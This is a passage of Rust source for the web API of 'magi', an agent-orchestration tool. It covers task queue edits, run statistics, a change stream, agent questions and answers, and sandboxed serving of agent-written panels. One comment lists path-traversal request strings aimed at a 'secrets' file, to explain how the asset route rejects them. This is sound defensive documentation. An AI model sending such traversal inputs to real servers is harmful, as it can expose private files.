4411    /// repository selector is built from. Always the full list regardless of
4412    /// `repo`, so switching repositories never needs a second request.
4413    repos: Vec<RepoSummaryView>,
4414    /// The `?repo=` value this response was narrowed to, echoed back so the
4415    /// UI can confirm its selection round-tripped. `None` for the aggregate,
4416    /// all-repositories view.
4417    repo: Option<String>,
4418}
4419
4420/// `?repo=<path>` narrows `GET /api/stats` to the runs recorded against one
4421/// repository. Matched by full-path equality against `RunState.repo` only
4422/// (see [`stats::filter_repo`]) - never resolved by name the way the CLI's
4423/// `--repo` is, because the value here always came from this same route's
4424/// own `repos` list in an earlier response, never typed by a human. A value
4425/// matching no run is a 404, not an empty aggregate: the caller asked for a
4426/// specific, named repository, and silently returning zeroes would look
4427/// exactly like a repository that has runs but none of interest.
4428#[derive(Debug, Default, Deserialize)]
4429#[serde(default)]
4430struct StatsQuery {
4431    repo: Option<String>,
4432}
4433
4434/// `GET /api/stats` - task and run statistics for the dashboard, aggregated
4435/// by [`stats::collect`] (or [`stats::collect_refs`] over one repository's
4436/// runs when `?repo=` narrows it), the same counting logic `magi stats`
4437/// prints from. Reads every readable run on disk, exactly as
4438/// [`runs_unreadable`] does, so the two counts can never drift apart the way
4439/// a separately-maintained tally could.
4440async fn stats_get(
4441    State(ui): State<Arc<Ui>>,
4442    Query(q): Query<StatsQuery>,
4443) -> ApiResult<Json<StatsView>> {
4444    blocking(move || {
4445        let states: Vec<RunState> = run_ids(&ui.runs)
4446            .into_iter()
4447            .filter_map(|id| read_run(&ui.runs, &id).ok())
4448            .collect();
4449        let repos: Vec<RepoSummaryView> = stats::by_repo(&states)
4450            .iter()
4451            .map(RepoSummaryView::from)
4452            .collect();
4453        let collected = match &q.repo {
4454            Some(repo) => {
4455                let filtered = stats::filter_repo(&states, std::path::Path::new(repo));
4456                if filtered.is_empty() {
4457                    return Err(ApiError::not_found(format!(
4458                        "no runs recorded against repo `{repo}`"
4459                    )));
4460                }
4461                stats::collect_refs(filtered)
4462            }
4463            None => stats::collect(&states),
4464        };
4465        let queue_counts = crate::queue::TaskCounts::of(&ui.queue.list());
4466        Ok(Json(StatsView {
4467            totals: StatsTotalsView::from(&collected.totals),
4468            agents: collected.agents.iter().map(AgentStatsView::from).collect(),
4469            reviewers: collected
4470                .reviewers
4471                .iter()
4472                .map(ReviewerStatsView::from)
4473                .collect(),
4474            advisors: collected
4475                .advisors
4476                .iter()
4477                .map(AdvisorStatsView::from)
4478                .collect(),
4479            e2e: E2eStatsView::from(&collected.e2e),
4480            release_bumps: ReleaseBumpStatsView::from(&collected.release_bumps),
4481            queue: TaskCountsView::from(queue_counts),
4482            runs_unreadable: runs_unreadable(&ui.runs),
4483            repos,
4484            repo: q.repo.clone(),
4485        }))
4486    })
4487    .await
4488}
4489
4490/// The body of `POST /api/queue/{id}/hold`, sent empty when the operator
4491/// gives no reason - which must keep working, since not every hold has one.
4492#[derive(Debug, Default, Deserialize)]
4493#[serde(default, deny_unknown_fields)]
4494struct HoldBody {
4495    reason: Option<String>,
4496}
4497
4498async fn queue_hold(
4499    State(ui): State<Arc<Ui>>,
4500    Path(id): Path<String>,
4501    body: std::result::Result<Json<HoldBody>, JsonRejection>,
4502) -> ApiResult<Json<TaskView>> {
4503    // An absent body is the ordinary case - most holds are unexplained, and
4504    // that has to stay a one-tap action rather than a form. A body that is
4505    // present and malformed is still a bad request.
4506    let body = match body {
4507        Ok(Json(body)) => body,
4508        Err(JsonRejection::MissingJsonContentType(_)) => HoldBody::default(),
4509        Err(e) => return Err(ApiError::bad_request(e.body_text())),
4510    };
4511    let reason = body.reason.filter(|r| !r.trim().is_empty());
4512    mutate(ui, id, move |t| {
4513        t.hold_manual(reason.clone());
4514        Ok(())
4515    })
4516    .await
4517}
4518
4519async fn queue_release(
4520    State(ui): State<Arc<Ui>>,
4521    Path(id): Path<String>,
4522) -> ApiResult<Json<TaskView>> {
4523    mutate(ui, id, |t| {
4524        t.release();
4525        Ok(())
4526    })
4527    .await
4528}
4529
4530/// The body of `POST /api/queue/{id}/priority`.
4531#[derive(Debug, Deserialize)]
4532#[serde(deny_unknown_fields)]
4533struct PriorityBody {
4534    priority: i32,
4535}
4536
4537/// `POST /api/queue/{id}/priority` - the up/down control on the Queue card.
4538///
4539/// [`Task::set_priority`] is the one place the "not while running" rule is
4540/// stated; this route only carries the body to it and lets its `Err` become
4541/// the 4xx the card shows.
4542async fn queue_priority(
4543    State(ui): State<Arc<Ui>>,
4544    Path(id): Path<String>,
4545    body: std::result::Result<Json<PriorityBody>, JsonRejection>,
4546) -> ApiResult<Json<TaskView>> {
4547    let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
4548    mutate(ui, id, move |t| t.set_priority(body.priority)).await
4549}
4550
4551/// The body of `POST /api/queue/{id}/edit`.
4552#[derive(Debug, Deserialize)]
4553#[serde(deny_unknown_fields)]
4554struct EditBody {
4555    title: String,
4556    instruction: String,
4557    /// Save even though the new text names a branch, commit or pull request
4558    /// that unfinished work already owns.
4559    #[serde(default)]
4560    force: bool,
4561}
4562
4563/// `POST /api/queue/{id}/edit` - the full-text replacement the phone's edit
4564/// sheet sends. [`Task::edit`] refuses anything but `queued` and `held`, and
4565/// that refusal's message is what the sheet shows back.
4566async fn queue_edit(
4567    State(ui): State<Arc<Ui>>,
4568    Path(id): Path<String>,
4569    body: std::result::Result<Json<EditBody>, JsonRejection>,
4570) -> ApiResult<Json<TaskView>> {
4571    let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
4572    // The judge is an agent call, so it is awaited here, outside the claim
4573    // `mutate` holds: a daemon must not be kept waiting on it. What it saw is
4574    // remembered, and the save refuses if the task moved underneath it.
4575    let mut judged: Option<(String, PathBuf)> = None;
4576    if !body.force {
4577        let (queue, runs) = (ui.queue.clone(), ui.runs.clone());
4578        let (id, text) = (id.clone(), body.instruction.clone());
4579        let (seen, hits) = blocking(move || {
4580            let id = resolve_task(&queue, &id)?;
4581            let t = queue.get(&id)?;
4582            if text == t.instruction {
4583                return Ok((None, Vec::new()));
4584            }
4585            let hits = crate::dupes::check(&queue, &runs, &t.repo, &text, None, Some(&t.id));
4586            Ok((Some((t.instruction, t.repo)), hits))
4587        })
4588        .await?;
4589        if let Some((_, repo)) = &seen {
4590            let cfg = crate::config::Config::discover(repo, None)
4591                .ok()
4592                .map(|(c, _)| c);
4593            crate::dupes::screen_with_config(hits, &body.instruction, None, repo, cfg.as_ref())
4594                .await
4595                .map_err(|dup| {
4596                    ApiError::conflict(dup.render(
4597                        "Nothing was saved. If it is not a duplicate, repeat the request with \
4598                         \"force\": true.",
4599                    ))
4600                })?;
4601        }
4602        judged = seen;
4603    }
4604    let force = body.force;
4605    mutate(ui, id, move |t| {
4606        if !force && body.instruction != t.instruction {
4607            match &judged {
4608                Some((instruction, repo)) if *instruction == t.instruction && *repo == t.repo => {}
4609                _ => {
4610                    anyhow::bail!("the task changed while it was being checked; repeat the request")
4611                }
4612            }
4613        }
4614        t.edit(body.title.clone(), body.instruction.clone())
4615    })
4616    .await
4617}
4618
4619/// `POST /api/queue/{id}/done` - close a task as finished without deleting
4620/// it, so the phone's other way to clear a task from the backlog does not
4621/// have to cost the run history, the attribution, and `created_at` the way
4622/// [`queue_delete`] does. Behaves exactly like `magi task done`: any status
4623/// can be marked done by hand, because this is for the run the loop never
4624/// saw land - a merge done by hand, or a gate that misreported - and that can
4625/// happen from any status the task was left in.
4626async fn queue_done(
4627    State(ui): State<Arc<Ui>>,
4628    Path(id): Path<String>,
4629) -> ApiResult<Json<TaskView>> {
4630    let home = ui.home.clone();
4631    mutate(ui, id, move |t| {
4632        t.succeed();
4633        // Same as the loop's own settle path: closing a task by hand is just
4634        // as much "this task's story is over" as a daemon-driven `Merged`/
4635        // `Ready` is, so any earlier `Blocked`/`Stalled` attempt it leaves
4636        // behind must stop looking like it still needs a human. `ui.home`,
4637        // not the process-global `run::home()`: they agree in a real
4638        // process, but only `ui.home` also agrees with a test fixture's own
4639        // directory.
4640        crate::daemon::supersede_prior_runs(t, &home);
4641        Ok(())
4642    })
4643    .await
4644}
4645
4646/// `DELETE /api/queue/{id}`.
4647///
4648/// Remove a task from the backlog. Refused only while a live daemon's heartbeat
4649/// names this task: a `running` status or an orphaned `.lock` left behind by a
4650/// killed daemon is a leftover, and treating either as authority made the
4651/// task undeletable from the phone for good. The associated runs, if any, are
4652/// kept: a run is self-contained history and not an appendage of the task.
4653async fn queue_delete(State(ui): State<Arc<Ui>>, Path(id): Path<String>) -> ApiResult<StatusCode> {
4654    blocking(move || {
4655        let id = resolve_task(&ui.queue, &id)?;
4656        let in_flight = crate::daemon::is_working_on_task(&ui.home, &id, jiff::Timestamp::now());
4657        ui.queue
4658            .remove(&id, in_flight, &ui.questions)
4659            .map_err(|e| ApiError::conflict(format!("{e:#}")))?;
4660        Ok(StatusCode::NO_CONTENT)
4661    })
4662    .await
4663}
4664
4665/// Read a task, change it, write it back, under the queue's own lock.
4666///
4667/// Taking the same claim a daemon takes is what makes hold, release,
4668/// priority, edit, and done safe to press while magi is running: without it
4669/// the daemon's next save would land on top of the operator's change and
4670/// undo it. `change` can refuse - [`Task::set_priority`] and [`Task::edit`]
4671/// both do, for a running task - and that refusal becomes the 4xx the card
4672/// shows, same as any other domain rule.
4673async fn mutate(
4674    ui: Arc<Ui>,
4675    id: String,
4676    change: impl FnOnce(&mut Task) -> Result<()> + Send + 'static,
4677) -> ApiResult<Json<TaskView>> {
4678    blocking(move || {
4679        let id = resolve_task(&ui.queue, &id)?;
4680        // `claim` fails when the lock file already exists, which is the
4681        // conflict the UI must report: the daemon owns that task's file for
4682        // as long as it is running it, and our write would be lost under its
4683        // next save. The message names the lock either way.
4684        let _claim = ui.queue.claim(&id).map_err(|e| {
4685            ApiError::conflict(format!(
4686                "{e:#} - a daemon is running this task, so it cannot be \
4687                 changed from here yet"
4688            ))
4689        })?;
4690        let mut task = ui.queue.get(&id)?;
4691        change(&mut task).map_err(|e| match e.downcast::<crate::dupes::Duplicate>() {
4692            Ok(dup) => ApiError::conflict(dup.render(
4693                "Nothing was saved. If it is not a duplicate, repeat the request with \
4694                 \"force\": true.",
4695            )),
4696            Err(e) => ApiError::bad_request_from(e),
4697        })?;
4698        ui.queue.put(&mut task)?;
4699        Ok(Json(TaskView::from(task)))
4700    })
4701    .await
4702}
4703
4704/// The change stream: one revision number per store, on connect and whenever
4705/// any of them moves.
4706///
4707/// The poll runs in one spawned task per client, which is affordable because
4708/// the work is a directory scan and a `stat` per file. It stops as soon as the
4709/// receiver is gone, so a phone that walks out of range costs nothing after
4710/// its next tick - there is no session and no cleanup to forget.
4711async fn events(State(ui): State<Arc<Ui>>) -> impl IntoResponse {
4712    let (tx, rx) = tokio::sync::mpsc::channel::<Event>(4);
4713    tokio::spawn(async move {
4714        let mut ticker = tokio::time::interval(POLL);
4715        let mut last: Option<(u64, u64, u64, u64, u64, u64)> = None;
4716        loop {
4717            // The first tick completes immediately, which is what makes the
4718            // stream announce the current revisions on connect.
4719            ticker.tick().await;
4720            let state = Arc::clone(&ui);
4721            let revisions = tokio::task::spawn_blocking(move || {
4722                (
4723                    state.queue.revision(),
4724                    runs_revision(&state.runs),
4725                    state.questions.revision(),
4726                    state.talks.revision(),
4727                    state.notices.revision(),
4728                    // The loop's counter is in-process state rather than a
4729                    // file, so nothing the three stats above look at would
4730                    // tell this phone that another one started the loop.
4731                    state.lock_loop().rev,
4732                )
4733            })
4734            .await;
4735            let Ok(revisions) = revisions else { break };
4736            if last == Some(revisions) {
4737                continue;
4738            }
4739            last = Some(revisions);
4740            let payload = serde_json::json!({
4741                "queue_rev": revisions.0,
4742                "runs_rev": revisions.1,
4743                "questions_rev": revisions.2,
4744                "talks_rev": revisions.3,
4745                "notifications_rev": revisions.4,
4746                "loop_rev": revisions.5,
4747            });
4748            // Serializing five integers cannot fail; giving up beats looping.
4749            let Ok(event) = Event::default().event("change").json_data(payload) else {
4750                break;
4751            };
4752            if tx.send(event).await.is_err() {
4753                break;
4754            }
4755        }
4756    });
4757    Sse::new(ReceiverStream::new(rx).map(Ok::<Event, Infallible>))
4758        .keep_alive(KeepAlive::new().interval(KEEPALIVE))
4759}
4760
4761/// Change detection token for recorded runs under `runs`.
4762///
4763/// Combines the id and `run.json` modification time of each run, so adding,
4764/// updating, or deleting any run — even an older one — moves the revision and
4765/// notifies connected clients via the change stream. Returns 0 when no runs
4766/// exist.
4767fn runs_revision(runs: &FsPath) -> u64 {
4768    use std::hash::{Hash as _, Hasher as _};
4769
4770    let mut entries: Vec<(String, u64)> = std::fs::read_dir(runs)
4771        .into_iter()
4772        .flatten()
4773        .flatten()
4774        .filter_map(|e| {
4775            let path = e.path().join("run.json");
4776            let mtime = path
4777                .metadata()
4778                .ok()?
4779                .modified()
4780                .ok()?
4781                .duration_since(std::time::UNIX_EPOCH)
4782                .ok()?
4783                .as_millis() as u64;
4784            let id = e.file_name().to_string_lossy().into_owned();
4785            Some((id, mtime))
4786        })
4787        .collect();
4788
4789    if entries.is_empty() {
4790        return 0;
4791    }
4792
4793    entries.sort_unstable();
4794    let mut hasher = std::hash::DefaultHasher::new();
4795    for (id, mtime) in &entries {
4796        id.hash(&mut hasher);
4797        mtime.hash(&mut hasher);
4798    }
4799    let h = hasher.finish();
4800    if h == 0 { 1 } else { h }
4801}
4802
4803/// Run ids under `runs`, newest first.
4804///
4805/// Rooted at an explicit directory rather than calling [`run::list_ids`],
4806/// which reads the process-global home: the server has to be drivable against
4807/// a temp directory for any of this to be testable.
4808fn run_ids(runs: &FsPath) -> Vec<String> {
4809    let mut ids: Vec<String> = std::fs::read_dir(runs)
4810        .into_iter()
4811        .flatten()
4812        .flatten()
4813        .filter(|e| e.path().join("run.json").is_file())
4814        .map(|e| e.file_name().to_string_lossy().into_owned())
4815        .collect();
4816    // Ids start with a sortable timestamp.
4817    ids.sort_unstable_by(|a, b| b.cmp(a));
4818    ids
4819}
4820
4821/// Read one run's state from an explicit runs root.
4822fn read_run(runs: &FsPath, id: &str) -> Result<RunState> {
4823    let path = runs.join(id).join("run.json");
4824    let body =
4825        std::fs::read_to_string(&path).with_context(|| format!("read {}", path.display()))?;
4826    let state: RunState =
4827        serde_json::from_str(&body).with_context(|| format!("parse {}", path.display()))?;
4828    // The same migration `RunState::load` applies, so a record from the
4829    // previous schema reads here as it does everywhere else (an origin-less
4830    // run shows as "origin unknown") instead of vanishing from the phone the
4831    // moment the schema is bumped.
4832    run::migrate_schema(state)
4833}
4834
4835/// Runs on disk under `runs` whose state this build cannot parse - almost
4836/// always a schema bump, occasionally a run killed mid-write.
4837///
4838/// Exposed so every surface that reports on runs shares one count instead of
4839/// each re-deriving it: `/api/health` reports it as `runs_unreadable`, and
4840/// `magi doctor` calls this directly rather than guessing at the same number
4841/// a second way.
4842#[must_use]
4843pub fn runs_unreadable(runs: &FsPath) -> usize {
4844    run_ids(runs)
4845        .into_iter()
4846        .filter(|id| read_run(runs, id).is_err())
4847        .count()
4848}
4849
4850/// Expand an id or short id to exactly one run id.
4851fn resolve_run(runs: &FsPath, id: &str) -> ApiResult<String> {
4852    if runs.join(id).join("run.json").is_file() {
4853        return Ok(id.to_owned());
4854    }
4855    pick(run_ids(runs), id, "run")
4856}
4857
4858/// Expand an id or short id to exactly one task id.
4859fn resolve_task(queue: &Queue, id: &str) -> ApiResult<String> {
4860    if queue.path_of(id).is_file() {
4861        return Ok(id.to_owned());
4862    }
4863    pick(queue.list().into_iter().map(|t| t.id).collect(), id, "task")
4864}
4865
4866/// A question as the phone reads it.
4867///
4868/// `detail`, the reasoning an agent wrote, is markdown; `detail_md` is that
4869/// text already parsed into a node tree so the client never runs its own
4870/// markdown reader over agent-authored prose. A relative image path in it
4871/// resolves against this question's own panel asset route, which is the one
4872/// place [`md::ImageBase::QuestionPanel`] is used - the panel iframe is a
4873/// separate, sandboxed document, but `detail` is rendered inline in the
4874/// operator's own page, so an image reference in it may only ever point at
4875/// files magi itself already serves for this question.
4876#[derive(Debug, Serialize)]
4877struct QuestionView {
4878    #[serde(flatten)]
4879    question: Question,
4880    detail_md: Vec<md::Node>,
4881    /// Is the ball in the agent's court right now?
4882    ///
4883    /// [`QuestionStatus`] stays `Open` for the whole of a round trip - see
4884    /// [`Question::say`] - so this is the one field that tells the phone to
4885    /// disable the answer controls and show "waiting for the agent" instead of
4886    /// a card the owner can act on. Computed rather than stored on
4887    /// [`Question`] itself, on the same reasoning as `waiting` on
4888    /// [`RunSummary`]: it is a read of `thread`'s own last entry, and keeping
4889    /// it here means the client never has to re-derive that rule.
4890    waiting_on_agent: bool,
4891    /// Who is waiting on this open question - see [`holder_of`]. Separate
4892    /// from `waiting_on_agent`, which is whose *turn* it is, not whether
4893    /// anyone is there to take it.
4894    holder: Option<&'static str>,
4895    /// Whether `magi serve` can start a follow-up agent for a conductor
4896    /// question at all: false when `daemon.max_deputies = 0` or the config is
4897    /// unreadable. Separate from `holder`, which says who is listening now.
4898    deputies_enabled: bool,
4899}
4900
4901impl QuestionView {
4902    /// The view of `question`, reading who is waiting on it from `store`.
4903    ///
4904    /// `holder` needs the lease sidecar, which is why this is not a `From`.
4905    fn of(question: Question, store: &ask::Questions, deputies_enabled: bool) -> Self {
4906        let base = md::ImageBase::QuestionPanel {
4907            id: question.id.clone(),
4908        };
4909        let holder = holder_of(&question, store.read_lease(&question.id).as_ref());
4910        Self {
4911            detail_md: md::to_nodes(&question.detail, &base),
4912            waiting_on_agent: question.waiting_on_agent(),
4913            holder,
4914            deputies_enabled,
4915            question,
4916        }
4917    }
4918}
4919
4920/// Can `magi serve` start a deputy under the config this repository resolves?
4921fn deputies_enabled(repo: &std::path::Path, q: &Question) -> bool {
4922    let cfg = Config::discover(repo, None).ok().map(|(c, _)| c);
4923    crate::deputy::can_start(cfg.as_ref(), crate::deputy::agent_of(q))
4924}
4925
4926/// Who is honestly waiting on an open question right now: `"asker"` (the
4927/// agent's own `magi ask`), `"deputy"` (the follow-up seat `magi serve` runs
4928/// for a conductor question), `"daemon"` (`magi serve` resuming the asking
4929/// seat's session), or `"nobody"` - the asker is gone and nothing has picked it
4930/// up, or the question never had anyone listening (a conductor question or a
4931/// merge approval from before deputies, or not yet given one).
4932///
4933/// `None` for a question that is settled, and for one that is not an agent's
4934/// to wait on at all (a release notice).
4935fn holder_of(q: &Question, lease: Option<&ask::Lease>) -> Option<&'static str> {
4936    if !q.status.open() {
4937        return None;
4938    }
4939    if q.cwd.is_none() && q.deputy.is_none() {
4940        return matches!(
4941            q.node.as_str(),
4942            crate::conduct::NODE | crate::land::APPROVAL_NODE
4943        )
4944        .then_some("nobody");
4945    }
4946    Some(match lease.filter(|l| l.fresh(jiff::Timestamp::now())) {
4947        Some(_) if q.deputy.is_some() => "deputy",
4948        Some(l) if l.kind == ask::WaiterKind::Daemon => "daemon",
4949        Some(_) => "asker",
4950        None => "nobody",
4951    })
4952}
4953
4954/// `GET /api/questions`.
4955///
4956/// Everything, not just the open ones: an answered question is the record of a
4957/// decision, and the phone is where the operator goes back to check what they
4958/// told an agent at 3am. `ask::Questions::list` already ranks open first.
4959async fn questions_list(State(ui): State<Arc<Ui>>) -> ApiResult<Json<Vec<QuestionView>>> {
4960    blocking(move || {
4961        Ok(Json(
4962            ui.questions
4963                .list()
4964                .into_iter()
4965                .map(|q| {
4966                    let on = deputies_enabled(&ui.repo, &q);
4967                    QuestionView::of(q, &ui.questions, on)
4968                })
4969                .collect(),
4970        ))
4971    })
4972    .await
4973}
4974
4975/// `GET /api/notifications`: not dismissed, newest first, with the unread
4976/// count so the badge and the list cannot disagree.
4977async fn notifications_list(State(ui): State<Arc<Ui>>) -> ApiResult<Json<serde_json::Value>> {
4978    blocking(move || {
4979        let items = ui.notices.list();
4980        let unread = items.iter().filter(|n| n.unread()).count();
4981        Ok(Json(
4982            serde_json::json!({ "unread": unread, "items": items }),
4983        ))
4984    })
4985    .await
4986}
4987
4988fn notice_error(e: anyhow::Error) -> ApiError {
4989    // An unknown or malformed id and a vanished file are the same answer to
4990    // the phone: that notification is gone.
4991    ApiError::not_found(format!("{e:#}"))
4992}
4993
4994/// `POST /api/notifications/{id}/read`.
4995async fn notification_read(
4996    State(ui): State<Arc<Ui>>,
4997    Path(id): Path<String>,
4998) -> ApiResult<Json<Notice>> {
4999    blocking(move || ui.notices.mark_read(&id).map(Json).map_err(notice_error)).await
5000}
5001
5002/// `POST /api/notifications/{id}/dismiss`.
5003async fn notification_dismiss(
5004    State(ui): State<Arc<Ui>>,
5005    Path(id): Path<String>,
5006) -> ApiResult<Json<Notice>> {
5007    blocking(move || ui.notices.dismiss(&id).map(Json).map_err(notice_error)).await
5008}
5009
5010/// `POST /api/notifications/read-all`.
5011async fn notifications_read_all(State(ui): State<Arc<Ui>>) -> ApiResult<Json<serde_json::Value>> {
5012    blocking(move || {
5013        let changed = ui.notices.mark_all_read()?;
5014        Ok(Json(serde_json::json!({ "marked": changed })))
5015    })
5016    .await
5017}
5018
5019/// The body of `POST /api/questions/{id}/answer`.
5020///
5021/// Exactly one of the two fields, mirroring `ask::Answer`. Both or neither is
5022/// a bad request rather than a guess: an answer magi invented is worse than a
5023/// question left open.
5024#[derive(Debug, Default, Deserialize)]
5025#[serde(default, deny_unknown_fields)]
5026struct NewAnswer {
5027    choice: Option<String>,
5028    text: Option<String>,
5029}
5030
5031async fn question_answer(
5032    State(ui): State<Arc<Ui>>,
5033    Path(id): Path<String>,
5034    body: std::result::Result<Json<NewAnswer>, axum::extract::rejection::JsonRejection>,
5035) -> ApiResult<Json<QuestionView>> {
5036    let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
5037    let answer = match (body.choice, body.text) {
5038        (Some(c), None) => Answer::Choice(c),
5039        (None, Some(t)) => Answer::Text(t),
5040        (Some(_), Some(_)) => {
5041            return Err(ApiError::bad_request(
5042                "send either `choice` or `text`, not both",
5043            ));
5044        }
5045        (None, None) => {
5046            return Err(ApiError::bad_request("send a `choice` or a `text`"));
5047        }
5048    };
5049
5050    blocking(move || {
5051        let id = resolve_question(&ui.questions, &id)?;
5052        let q = ui
5053            .questions
5054            .get(&id)
5055            .map_err(|e| ApiError::from(e).with_status(StatusCode::INTERNAL_SERVER_ERROR))?;
5056        if !q.status.open() {
5057            // Answered from the terminal, or by another phone, in between the
5058            // list and the tap. The UI shows the recorded answer rather than an
5059            // error, so it needs the record, not just the status.
5060            return Err(ApiError::conflict(format!(
5061                "question {} is already {}",
5062                q.short(),
5063                q.status.as_str()
5064            )));
5065        }
5066        // `Question::answer` owns the rules - an unoffered choice, free text on
5067        // a multiple-choice question, an empty reply - so the route does not
5068        // restate them and cannot drift from the CLI's behaviour.
5069        let (q, ()) = ui
5070            .questions
5071            .update(&q.id, |r| r.answer(answer))
5072            .map_err(ApiError::bad_request_from)?;
5073        let on = deputies_enabled(&ui.repo, &q);
5074        Ok(Json(QuestionView::of(q, &ui.questions, on)))
5075    })
5076    .await
5077}
5078
5079/// The body of `POST /api/questions/{id}/say`.
5080#[derive(Debug, Deserialize)]
5081#[serde(deny_unknown_fields)]
5082struct NewSay {
5083    body: String,
5084}
5085
5086/// `POST /api/questions/{id}/say` - the owner talks back without deciding.
5087///
5088/// Synchronous, unlike `POST /api/talks/{id}/say`: that route spawns an agent
5089/// CLI and waits on it, this one only appends a [`ask::Turn`] and writes the
5090/// file, so there is no turn to serialize against and no
5091/// [`Ui::begin_talk_turn`] guard to take. The agent waiting on this question
5092/// is a *different* process - the run parked behind `magi ask` - and picks
5093/// the reply up on its own poll of the very same file, same as an answer
5094/// does.
5095async fn question_say(
5096    State(ui): State<Arc<Ui>>,
5097    Path(id): Path<String>,
5098    body: std::result::Result<Json<NewSay>, JsonRejection>,
5099) -> ApiResult<Json<QuestionView>> {
5100    let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
5101    blocking(move || {
5102        let id = resolve_question(&ui.questions, &id)?;
5103        let q = ui
5104            .questions
5105            .get(&id)
5106            .map_err(|e| ApiError::from(e).with_status(StatusCode::INTERNAL_SERVER_ERROR))?;
5107        if !q.status.open() {
5108            // Same granularity as `question_answer`: answered or abandoned in
5109            // between the list and the tap is not this route's error to
5110            // explain any differently.
5111            return Err(ApiError::conflict(format!(
5112                "question {} is already {}",
5113                q.short(),
5114                q.status.as_str()
5115            )));
5116        }
5117        // `Question::say` owns the one rule that matters here - an empty
5118        // message tells the agent nothing - so the route does not restate it.
5119        let (q, ()) = ui
5120            .questions
5121            .update(&q.id, |r| r.say(body.body))
5122            .map_err(ApiError::bad_request_from)?;
5123        let on = deputies_enabled(&ui.repo, &q);
5124        Ok(Json(QuestionView::of(q, &ui.questions, on)))
5125    })
5126    .await
5127}
5128
5129/// Expand an id or short id to exactly one question id.
5130fn resolve_question(store: &Questions, id: &str) -> ApiResult<String> {
5131    if store.path_of(id).is_file() {
5132        return Ok(id.to_owned());
5133    }
5134    pick(
5135        store.list().into_iter().map(|q| q.id).collect(),
5136        id,
5137        "question",
5138    )
5139}
5140
5141/// `GET /api/questions/{id}/panel`.
5142///
5143/// The panel an agent wrote for this question, as `text/html` under
5144/// [`PANEL_CSP`], for the front end to mount in a token-less sandboxed iframe.
5145/// A question without one is a 404 rather than an empty page: the client
5146/// preflights this route with `HEAD` and must be able to tell "no panel" from
5147/// "a panel that rendered blank", and a sandboxed frame is opaque to the
5148/// parent document so it cannot tell the difference by looking.
5149///
5150/// The body is whatever the agent wrote, byte for byte. Nothing here rewrites,
5151/// sanitises or minifies it - a sanitiser is a list of things someone thought
5152/// of, and the sandbox plus the CSP is a list of things that are allowed, which
5153/// is the direction that stays safe when an agent writes markup nobody
5154/// predicted.
5155async fn question_panel(State(ui): State<Arc<Ui>>, Path(id): Path<String>) -> ApiResult<Response> {
5156    blocking(move || {
5157        let id = resolve_question(&ui.questions, &id)?;
5158        let Some(html) = ui.questions.panel_html(&id) else {
5159            return Err(ApiError::not_found(format!("question {id} has no panel")));
5160        };
5161        Ok(panel_response(
5162            "text/html; charset=utf-8",
5163            false,
5164            html.into_bytes(),
5165        ))
5166    })
5167    .await
5168}
5169
5170/// `GET /api/questions/{id}/asset/{name}`.
5171///
5172/// One file from the question's own panel directory, so a panel can show a
5173/// diff as an SVG or a screenshot as a PNG without the CSP's `img-src 'self'`
5174/// having to allow anything off this machine.
5175///
5176/// This is the only route in the server where a client names a file, so it is
5177/// the only one with a traversal surface, and the name is checked by
5178/// [`ask::valid_asset_name`] before a path is built from it. Which layer stops
5179/// what is worth being explicit about, because the answer is not "all of it in
5180/// one place":
5181///
5182/// * `asset/../../secrets` never reaches this handler at all. axum matches on
5183///   the raw request path and `{name}` spans exactly one segment, so a real
5184///   slash makes the request too long for the route and the router answers 404.
5185/// * `asset/%2e%2e%2fsecrets` and `asset/..%5csecrets` do reach it: axum
5186///   percent-decodes path parameters, so `name` arrives as `../secrets` and
5187///   `..\secrets` respectively, which look like plain filenames to the router.
5188///   The validator refuses them here - both for the literal `..` and because
5189///   `/` and `\` are not in the permitted character set - and answers 400.
5190/// * A name carrying a NUL (`%00`) decodes to a string Rust is happy with but
5191///   the platform's path API is not, and it is refused here for the same
5192///   reason: NUL is not a permitted character.
5193/// * [`Questions::panel_asset`] validates again on read, so the check is not
5194///   load-bearing in only one place. This route's own check exists so the
5195///   failure is a 400 that says which name was wrong, rather than a store error
5196///   the operator has to interpret.
5197async fn question_asset(
5198    State(ui): State<Arc<Ui>>,
5199    Path((id, name)): Path<(String, String)>,
5200) -> ApiResult<Response> {
5201    // Before any filesystem work and before any path is built: a name this
5202    // server will not serve should not become a `PathBuf` at all.
5203    if !crate::ask::valid_asset_name(&name) {
5204        return Err(ApiError::bad_request(format!(
5205            "`{name}` is not a usable asset name"
5206        )));
5207    }
5208    blocking(move || {
5209        let id = resolve_question(&ui.questions, &id)?;
5210        let asset = ui
5211            .questions
5212            .panel_asset(&id, &name)
5213            .map_err(|e| ApiError::bad_request(format!("{e:#}")))?;
5214        let Some(bytes) = asset else {
5215            return Err(ApiError::not_found(format!(
5216                "question {id} has no asset `{name}`"
5217            )));
5218        };
5219        Ok(panel_response(
5220            asset_content_type(&name),
5221            is_svg(&name),
5222            bytes,
5223        ))
5224    })
5225    .await
5226}
5227
5228/// Content type for a panel asset, from a closed whitelist.
5229///
5230/// A whitelist with an `application/octet-stream` fallback rather than a
5231/// guess, because the one answer that must never come out of here is
5232/// `text/html`. An agent that writes `notes.html` into its panel directory and
5233/// links it would otherwise get its own markup rendered at the top level of the
5234/// operator's browser - outside the sandboxed frame, outside [`PANEL_CSP`], on
5235/// magi's origin - which is precisely the thing the panel design exists to
5236/// prevent. Same reasoning for `.js` and `.json`: unlisted means downloaded.
5237///
5238/// `nosniff` accompanies this on every response, so a browser cannot decide it
5239/// knows better than the type we sent.
5240fn asset_content_type(name: &str) -> &'static str {
5241    match extension(name).as_deref() {
5242        Some("png") => "image/png",
5243        Some("jpg" | "jpeg") => "image/jpeg",
5244        Some("gif") => "image/gif",
5245        Some("webp") => "image/webp",
5246        Some("svg") => "image/svg+xml",
5247        Some("css") => "text/css; charset=utf-8",
5248        Some("txt") => "text/plain; charset=utf-8",
5249        _ => "application/octet-stream",
5250    }
5251}
5252
5253/// Is this an SVG, and therefore a file that must never be opened at the top
5254/// level?
5255fn is_svg(name: &str) -> bool {
5256    extension(name).as_deref() == Some("svg")
5257}
5258
5259/// Lowercased extension, or `None` for a name without one.
5260fn extension(name: &str) -> Option<String> {
5261    name.rsplit_once('.')
5262        .map(|(_, ext)| ext.to_ascii_lowercase())
5263}
5264
5265/// Every panel response, with the four headers that make it safe and, for an
5266/// SVG, a fifth.
5267///
5268/// One function rather than a header list per handler, because a panel route
